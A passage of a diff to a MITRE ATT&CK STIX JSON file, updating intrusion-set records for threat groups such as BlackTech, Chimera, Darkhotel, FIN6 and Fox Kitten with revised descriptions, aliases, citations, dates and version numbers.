"2021-04-22T20:13:14.377Z", + "created": "2021-04-14T13:17:43.941Z", + "x_mitre_version": "1.0" }, { "type": "intrusion-set", @@ -238427,12 +280360,12 @@ "REDBALDKNIGHT", "Tick" ], - "modified": "2020-06-25T20:54:52.793Z", + "modified": "2021-04-26T13:16:28.738Z", "created": "2018-01-16T16:13:52.465Z", "x_mitre_contributors": [ "Trend Micro Incorporated" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "type": "intrusion-set", @@ -238477,10 +280410,10 @@ "created": "2018-04-18T17:59:24.739Z" }, { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "id": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", + "type": "intrusion-set", + "name": "BlackTech", + "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017)", "external_references": [ { "external_id": "G0098", @@ -238493,19 +280426,19 @@ "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020." } ], - "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017)", - "name": "BlackTech", - "type": "intrusion-set", - "id": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "aliases": [ "BlackTech" ], - "modified": "2020-05-06T18:12:23.832Z", + "modified": "2021-04-20T17:57:07.909Z", "created": "2020-05-05T18:36:45.970Z", - "x_mitre_version": "1.0", "x_mitre_contributors": [ "Tatsuya Daitoku, Cyber Defense Institute, Inc." - ] + ], + "x_mitre_version": "1.1" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -238566,19 +280499,19 @@ "description": "(Citation: Crowdstrike State of Criminal May 2016)" }, { - "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", + "source_name": "Kaspersky Carbanak", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", - "source_name": "Kaspersky Carbanak" + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" }, { - "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", - "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + "source_name": "FireEye FIN7 April 2017" }, { - "url": "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/", + "source_name": "Fox-It Anunak Feb 2015", "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", - "source_name": "Fox-It Anunak Feb 2015" + "url": "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/" }, { "url": "https://www.crowdstrike.com/blog/state-criminal-address/", @@ -238591,72 +280524,49 @@ "Anunak", "Carbon Spider" ], - "modified": "2020-03-28T00:22:39.895Z", + "modified": "2021-04-26T13:17:57.921Z", "created": "2017-05-31T21:31:49.021Z", "x_mitre_contributors": [ "Anastasios Pingios" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { + "created": "2020-08-24T17:01:55.842Z", + "modified": "2021-04-26T13:45:19.750Z", + "aliases": [ + "Chimera" + ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "external_references": [ - { - "external_id": "G0058", - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/groups/G0058" - }, - { - "source_name": "Charming Kitten", - "description": "(Citation: ClearSky Charming Kitten Dec 2017)" - }, - { - "source_name": "ClearSky Charming Kitten Dec 2017", - "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", - "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" - } - ], - "description": "[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [[Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities.(Citation: ClearSky Charming Kitten Dec 2017)", - "name": "Charming Kitten", - "type": "intrusion-set", - "id": "intrusion-set--92d5b3fd-3b39-438e-af68-770e447beada", - "aliases": [ - "Charming Kitten" - ], - "modified": "2020-07-04T23:15:31.278Z", - "created": "2018-01-16T00:14:20.562Z", - "x_mitre_version": "1.0" - }, - { - "id": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", - "type": "intrusion-set", - "name": "Chimera", - "description": "[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group, targeting the semiconductor industry in Taiwan since at least 2018.(Citation: Cycraft Chimera April 2020)", "external_references": [ { "external_id": "G0114", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0114" }, + { + "source_name": "Chimera", + "description": "(Citation: NCC Group Chimera January 2021) " + }, { "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "aliases": [ - "Chimera" - ], - "modified": "2020-10-05T20:59:57.694Z", - "created": "2020-08-24T17:01:55.842Z", - "x_mitre_version": "1.0" + "description": "[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", + "name": "Chimera", + "type": "intrusion-set", + "id": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "x_mitre_version": "2.0" }, { "type": "intrusion-set", @@ -238688,7 +280598,7 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" }, { "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/", @@ -238701,7 +280611,7 @@ "Threat Group 2889", "TG-2889" ], - "modified": "2020-10-15T16:59:26.732Z", + "modified": "2021-04-21T16:41:34.724Z", "created": "2017-05-31T21:31:46.390Z", "x_mitre_version": "1.2" }, @@ -238788,9 +280698,9 @@ "Cobalt Gang", "Cobalt Spider" ], - "modified": "2020-06-23T19:41:51.510Z", + "modified": "2021-04-26T13:27:29.519Z", "created": "2018-10-17T00:14:20.652Z", - "x_mitre_version": "1.2" + "x_mitre_version": "1.3" }, { "type": "intrusion-set", @@ -238817,22 +280727,22 @@ "source_name": "ClearSky CopyKittens March 2017" }, { - "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "source_name": "ClearSky Wilted Tulip July 2017", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", - "source_name": "ClearSky Wilted Tulip July 2017" + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" }, { - "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf", + "source_name": "CopyKittens Nov 2015", "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", - "source_name": "CopyKittens Nov 2015" + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" } ], "aliases": [ "CopyKittens" ], - "modified": "2020-03-31T12:43:39.280Z", + "modified": "2021-03-04T21:59:44.333Z", "created": "2018-01-16T16:13:52.465Z", - "x_mitre_version": "1.3" + "x_mitre_version": "1.4" }, { "type": "intrusion-set", @@ -238899,7 +280809,7 @@ "aliases": [ "DarkHydrus" ], - "modified": "2020-05-15T15:44:47.629Z", + "modified": "2021-02-09T13:51:14.393Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_contributors": [ "Oleg Skulkin, Group-IB" @@ -238939,14 +280849,6 @@ "x_mitre_version": "1.0" }, { - "type": "intrusion-set", - "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Darkhotel", - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "external_id": "G0012", @@ -238958,17 +280860,58 @@ "description": "(Citation: Kaspersky Darkhotel)" }, { - "source_name": "Kaspersky Darkhotel", + "source_name": "DUBNIUM", + "description": "(Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016)" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", - "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + "source_name": "Kaspersky Darkhotel" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", + "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft Digital Defense FY20 Sept 2020", + "url": "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf", + "description": "Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021." + }, + { + "source_name": "Microsoft DUBNIUM June 2016", + "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", + "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021." + }, + { + "source_name": "Microsoft DUBNIUM Flash June 2016", + "url": "https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/", + "description": "Microsoft. (2016, June 20). Reverse-engineering DUBNIUM\u2019s Flash-targeting exploit. Retrieved March 31, 2021." + }, + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." } ], - "aliases": [ - "Darkhotel" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-03-30T18:56:21.706Z", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)", + "name": "Darkhotel", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "type": "intrusion-set", + "aliases": [ + "Darkhotel", + "DUBNIUM" + ], + "modified": "2021-04-22T17:37:58.136Z", "created": "2017-05-31T21:31:50.624Z", - "x_mitre_version": "1.2" + "x_mitre_version": "2.0", + "x_mitre_contributors": [ + "Harry, CODEMIZE" + ] }, { "external_references": [ @@ -239002,14 +280945,14 @@ "description": "(Citation: Symantec Black Vine)" }, { - "source_name": "Alperovitch 2014", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", - "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + "source_name": "Alperovitch 2014" }, { - "source_name": "ThreatConnect Anthem", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", - "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + "source_name": "ThreatConnect Anthem" }, { "url": "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", @@ -239017,9 +280960,9 @@ "source_name": "RSA Shell Crew" }, { - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf", + "source_name": "Symantec Black Vine", "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", - "source_name": "Symantec Black Vine" + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" }, { "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/", @@ -239043,7 +280986,7 @@ "PinkPanther", "Black Vine" ], - "modified": "2020-04-17T21:11:30.305Z", + "modified": "2021-02-09T13:49:09.605Z", "created": "2017-05-31T21:31:49.412Z", "x_mitre_version": "1.2", "x_mitre_contributors": [ @@ -239153,7 +281096,7 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", "name": "Dragonfly", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", @@ -239165,7 +281108,7 @@ "IRON LIBERTY", "Energetic Bear" ], - "modified": "2020-10-14T22:42:00.531Z", + "modified": "2021-04-06T18:40:51.440Z", "created": "2017-05-31T21:32:05.217Z", "x_mitre_version": "2.0" }, @@ -239226,7 +281169,7 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )", "name": "Dragonfly 2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", @@ -239237,9 +281180,9 @@ "DYMALLOY", "Berserk Bear" ], - "modified": "2020-10-15T20:14:58.980Z", + "modified": "2021-04-26T14:05:34.037Z", "created": "2018-10-17T00:14:20.652Z", - "x_mitre_version": "1.3" + "x_mitre_version": "2.0" }, { "type": "intrusion-set", @@ -239274,13 +281217,13 @@ "x_mitre_version": "1.0" }, { - "type": "intrusion-set", - "id": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Elderwood", - "description": "[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2018-04-18T17:59:24.739Z", + "modified": "2021-03-02T22:40:11.097Z", + "aliases": [ + "Elderwood", + "Elderwood Gang", + "Beijing Group", + "Sneaky Panda" ], "external_references": [ { @@ -239310,9 +281253,9 @@ "source_name": "Security Affairs Elderwood Sept 2012" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China", @@ -239320,18 +281263,18 @@ "source_name": "CSM Elderwood Sept 2012" } ], - "aliases": [ - "Elderwood", - "Elderwood Gang", - "Beijing Group", - "Sneaky Panda" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-03-30T18:58:36.955Z", - "created": "2018-04-18T17:59:24.739Z", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "name": "Elderwood", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "type": "intrusion-set", + "x_mitre_version": "1.2", "x_mitre_contributors": [ "Valerii Marchuk, Cybersecurity Help s.r.o." - ], - "x_mitre_version": "1.1" + ] }, { "type": "intrusion-set", @@ -239365,6 +281308,38 @@ "created": "2017-05-31T21:31:54.697Z", "x_mitre_version": "1.2" }, + { + "id": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", + "type": "intrusion-set", + "name": "Evilnum", + "description": "[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)", + "external_references": [ + { + "external_id": "G0120", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0120" + }, + { + "source_name": "Evilnum", + "description": "(Citation: ESET EvilNum July 2020)" + }, + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Evilnum" + ], + "modified": "2021-04-27T19:55:58.323Z", + "created": "2021-01-22T16:46:17.790Z", + "x_mitre_version": "1.0" + }, { "type": "intrusion-set", "id": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", @@ -239485,13 +281460,13 @@ "x_mitre_version": "1.1" }, { - "type": "intrusion-set", - "id": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "FIN6", - "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:32:06.015Z", + "modified": "2020-12-28T21:20:50.959Z", + "aliases": [ + "FIN6", + "Magecart Group 6", + "SKELETON SPIDER", + "ITG08" ], "external_references": [ { @@ -239541,19 +281516,19 @@ "source_name": "Security Intelligence More Eggs Aug 2019" } ], - "aliases": [ - "FIN6", - "Magecart Group 6", - "SKELETON SPIDER", - "ITG08" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-10-21T00:44:24.198Z", - "created": "2017-05-31T21:32:06.015Z", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)", + "name": "FIN6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "type": "intrusion-set", + "x_mitre_version": "3.1", "x_mitre_contributors": [ "Center for Threat-Informed Defense (CTID)", "Drew Church, Splunk" - ], - "x_mitre_version": "3.0" + ] }, { "type": "intrusion-set", @@ -239624,9 +281599,9 @@ "description": "(Citation: FireEye Obfuscation June 2017)" }, { - "source_name": "FireEye Obfuscation June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", - "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + "source_name": "FireEye Obfuscation June 2017" }, { "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html", @@ -239645,10 +281620,73 @@ "aliases": [ "FIN8" ], - "modified": "2020-03-30T02:15:00.553Z", + "modified": "2021-02-09T13:54:32.541Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_version": "1.1" }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "G0117", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0117" + }, + { + "source_name": "UNC757", + "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)" + }, + { + "source_name": "PIONEER KITTEN", + "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)" + }, + { + "source_name": "Parisite", + "description": "(Citation: Dragos PARISITE )(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)" + }, + { + "source_name": "ClearkSky Fox Kitten February 2020", + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020." + }, + { + "source_name": "CrowdStrike PIONEER KITTEN August 2020", + "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", + "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020." + }, + { + "source_name": "Dragos PARISITE ", + "url": "https://www.dragos.com/threat/parisite/", + "description": "Dragos. (n.d.). PARISITE. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + }, + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "name": "Fox Kitten", + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)", + "type": "intrusion-set", + "id": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "aliases": [ + "Fox Kitten", + "UNC757", + "PIONEER KITTEN", + "Parisite" + ], + "modified": "2021-04-20T22:02:30.995Z", + "created": "2020-12-21T21:49:47.307Z", + "x_mitre_version": "1.0" + }, { "id": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e", "type": "intrusion-set", @@ -239677,6 +281715,52 @@ "created": "2020-05-11T15:21:09.438Z", "x_mitre_version": "1.0" }, + { + "created": "2019-07-18T20:47:50.050Z", + "modified": "2021-04-23T01:32:21.874Z", + "aliases": [ + "GALLIUM", + "Operation Soft Cell" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "G0093", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0093" + }, + { + "source_name": "GALLIUM", + "description": "(Citation: Microsoft GALLIUM December 2019)" + }, + { + "source_name": "Operation Soft Cell", + "description": "(Citation: Cybereason Soft Cell June 2019)" + }, + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "source_name": "Cybereason Soft Cell June 